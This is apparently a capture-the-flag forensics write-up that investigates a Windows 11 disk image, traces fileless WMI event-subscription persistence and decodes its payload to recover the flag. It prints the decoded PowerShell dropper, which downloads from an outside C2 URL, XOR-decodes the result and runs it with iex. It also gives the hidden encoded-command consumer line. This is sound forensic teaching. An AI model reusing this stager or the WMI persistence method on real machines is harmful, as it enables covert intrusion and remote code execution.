Flag: DDC{im_r4ther_p3rs1st3nt_ab0ut_g3tt1ng_my_w4y}
Brief: "Pleeeease help! I think I got malware on my PC." Handout: disk.E01, nothing else. No IOC, no timeframe.
disk.E01 FTK Imager E01, 17.6 GB, Windows 11 build 26100, user Oliver
MD5 1c1f29e8717853328722b8f977cdf318
SHA1 5bdf629522150a4c7b3a1716de05b789428dc68f
1. Mount
Raw dead-disk on Linux. Read-only the whole way.
ewfinfo disk.E01
sudo ewfmount disk.E01 /mnt/ewf # libewf → raw
sudo fsstat -o 0 /mnt/ewf/ewf1 # NTFS, no partition table
sudo mount -o ro,loop,show_sys_files,streams_interface=windows,\
uid=$(id -u),gid=$(id -g),umask=022 /mnt/ewf/ewf1 /mnt/diskuid=/gid= so the GUI file manager can browse the mount. show_sys_files exposes $MFT, $LogFile, NTFS alternate data streams.
Starting baseline: one user (Oliver), Desktop and Downloads mostly empty. That points to system-level or fileless persistence rather than something dropped in the user profile.
2. ASEP-sweep
ASEP = Auto-Start Extensibility Point — every place in Windows where code can be auto-started. Sysinternals Autoruns is the GUI tool for this; on a dead-box from Linux it becomes manual or via Velociraptor.
| Bucket | Check | Result |
|---|---|---|
| Startup folders | Users\Oliver\...\Startup, ProgramData\...\Startup | empty |
| Scheduled Tasks | Windows\System32\Tasks\ | OneDrive, Edge Update, SoftLanding |
| Registry Run/RunOnce | via python-registry on SOFTWARE/NTUSER.DAT | only OneDrive/Edge/routine |
| Services | System.evtx EventID 7045 (21 hits) | all OS-legit |
Red herring: SoftLanding\...\SoftLandingCreativeManagementTask looked suspect — WNF trigger plus a bare COM handler with no command line. CLSID {F576B2F9-7850-4226-ADB0-E5993FED4F02} resolved to Microsoft's Content Delivery Manager, though. Legitimate Windows component.
3. Event logs — integrity check
Before spending more time, rule out the simple explanation: are the logs cleared?
Canonical tells:
- Security / EventID 1102 — "The audit log was cleared"
- System / EventID 104 — "The X log was cleared"
Both are written by the Event Log service itself when wevtutil cl / Clear-EventLog / MMC is used, and they're hard to suppress without deeper tampering.
from evtx import PyEvtxParser
import re, glob
for f in glob.glob('/mnt/disk/Windows/System32/winevt/Logs/*.evtx'):
for r in PyEvtxParser(f).records():
if re.search(r'<EventID[^>]*>(104|1102)</EventID>', r['data']):
print(f)Result: no 1102, no 104. No evidence of log-clearing.
Side observation: PowerShell/Operational contains only 30 records and zero 4104 script-block events. That's not suspicious in itself — ScriptBlockLogging is off by default in Windows and has to be actively enabled via group policy. Checking HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging in the SOFTWARE hive confirmed it: the key doesn't exist, so script-block logging was never enabled. No tampering — just default config.
The Defender Operational log was also checked: 171× 5007 (config), 2× 2000, 2× 2010, 1× 2002. No 1116/1117/1015 — Defender found nothing. Makes sense for fileless WMI persistence.
4. WMI event subscriptions
With Startup / Tasks / Services / Run-keys clean and the user profile empty, fileless WMI persistence is the next obvious bucket. The permanent WMI subscription triad lives in the CIM repository:
C:\Windows\System32\wbem\Repository\
OBJECTS.DATA ← binary DB, string properties in cleartext
INDEX.BTR
MAPPING{1,2,3}.MAP
Three objects per subscription:
__EventFilter— WQL trigger__EventConsumer— action (CommandLineEventConsumer= spawn process,ActiveScriptEventConsumer= inline VBS/JScript)__FilterToConsumerBinding— glue
Tooling options:
| Tool | Works offline? | Note |
|---|---|---|
| Sysinternals Autoruns (WMI tab) | Yes via "Analyze Offline System" | Requires a Windows host pointing at the mounted image |
| PyWMIPersistenceFinder.py | Yes | Direct parsing of OBJECTS.DATA, originally py2 |
| python-cim (FireEye/Mandiant) | Yes | Programmatic CIM parsing |
Velociraptor (Windows.Persistence.PermanentWMIEvents) | No | Uses the live wmi() plugin, disabled in dead-disk remap |
| Velociraptor (YARA over OBJECTS.DATA) | Yes | Works but without parsing — same as strings |
strings + grep | Yes | Quick and dirty, always available |
| Autopsy 4 Keyword Search | Yes | Finds the strings but doesn't parse the structure |
I went with strings-grep because it's zero ceremony:
sudo cp -r /mnt/disk/Windows/System32/wbem/Repository /tmp/wmi_repo
strings -a /tmp/wmi_repo/OBJECTS.DATA | \
grep -iE '__EventFilter|ActiveScriptEvent|CommandLineEvent|powershell|EncodedCommand'Hits:
-
__EventFilternamedPowershellv3— camouflaged as Microsoft's realROOT\Microsoft\Windows\PowerShellv3namespace. -
CommandLineEventConsumerwith template:powershell.exe -WindowStyle Hidden -EncodedCommand JABkAGEAdAAg...Classic IOC combo: hidden window, base64, started by WMI instead of a user-visible parent.
5. Decoding payload
Stage 1 — EncodedCommand
-EncodedCommand is UTF-16LE base64.
import base64
blob = "JABkAGEAdAAg..."
print(base64.b64decode(blob).decode("utf-16-le"))$dat = [System.Convert]::FromBase64String(
(iwr -UseBasicParsing https://update-server-d1e2f.oluf-sand.workers.dev/))
$k = @(0x54, 0x42, 0x9a, 0x71, 0x84, 0xe2, 0x6b)
for($i=0; $i -lt $dat.count; $i++) {
$dat[$i] = $dat[$i] -bxor $k[$i % $k.count]
}
$res = [System.Text.Encoding]::Unicode.GetString($dat)
iex $resThe dropper: fetch C2 URL → base64-decode → XOR with 7-byte key 54 42 9a 71 84 e2 6b → UTF-16LE → iex.
Stage 2 — fetch C2
curl -s https://update-server-d1e2f.oluf-sand.workers.dev/ -o /tmp/stage2.b64Replay the same transform:
import base64
data = base64.b64decode(open('/tmp/stage2.b64','rb').read())
k = [0x54,0x42,0x9a,0x71,0x84,0xe2,0x6b]
print(bytes(b ^ k[i%len(k)] for i,b in enumerate(data)).decode('utf-16-le'))echo "DDC{im_r4ther_p3rs1st3nt_ab0ut_g3tt1ng_my_w4y}"CyberChef alternative
Same stage 2 in CyberChef:
- From Base64
- XOR — key
54 42 9a 71 84 e2 6b, format Hex - Decode text — UTF-16LE (1200)
Open the recipe in CyberChef → — clicking loads all three steps pre-configured.
Hindsight — what I'd do differently next time
Strings-grep worked, but it's unprincipled — I got lucky that the implant had recognizable strings (__EventFilter, EncodedCommand) sitting in cleartext in OBJECTS.DATA. A more obfuscated subscription would survive that approach. Two cleaner routes I'd reach for first:
Convert the E01 to VMDK and boot it. The handout was an FTK Imager image — qemu-img convert -f raw -O vmdk (after ewfmount), or Passmark's Live View, turns it into something you can attach to a VM. Boot read-only, run Autoruns natively, query WMI with Get-WmiObject -Namespace root\subscription -Class __EventFilter, and the Powershellv3 filter shows up in seconds. Highest fidelity, but ~10–15 min of conversion + boot overhead and a Windows host requirement.
Autoruns in offline mode. If a VMDK boot is too much (or the host won't run a Windows VM), Autoruns has File → Analyze Offline System... that takes a System Root and a User Profile path. Point it at <mount>\Windows and <mount>\Users\Oliver, and it walks every ASEP — including the WMI tab with proper CIM parsing — without booting anything. Same parser quality as live, lower ceremony than the VMDK route.
I skipped both for time. Strings-grep had results in under a minute, where converting and booting the image would have eaten 10+ min on a CTF clock. Right call for the competition; for a real engagement the VMDK or offline-Autoruns route is what I'd reach for first.
IOCs
| Type | Value |
|---|---|
| Persistence | WMI permanent event subscription (CommandLineEventConsumer + __EventFilter + __FilterToConsumerBinding) |
| Filter name | Powershellv3 |
| Consumer | powershell.exe -WindowStyle Hidden -EncodedCommand … |
| C2 URL | https://update-server-d1e2f.oluf-sand.workers.dev/ |
| XOR key | 54 42 9a 71 84 e2 6b |
| Host | DESKTOP-INU7AD3 / user Oliver / SID S-1-5-21-3472665775-195656897-1608854109-1001 |
Red herrings
SoftLanding\...\SoftLandingCreativeManagementTask— legitimate Microsoft Content Delivery Manager.Windows.old\— in-place upgrade artifact.- The small PowerShell Operational log — default state, not tampering.
TL;DR
1. ewfmount + mount -ro → NTFS offline
2. ASEP-sweep (Startup/Tasks/Services/Run) → clean, SoftLanding = red herring
3. Event log clearing check (1102/104) → no tampering
4. strings+grep OBJECTS.DATA → __EventFilter "Powershellv3" + CommandLineEventConsumer
5. Decode EncodedCommand (UTF-16LE base64) → dropper with C2 + XOR key
6. curl C2, XOR with 54 42 9a 71 84 e2 6b → flag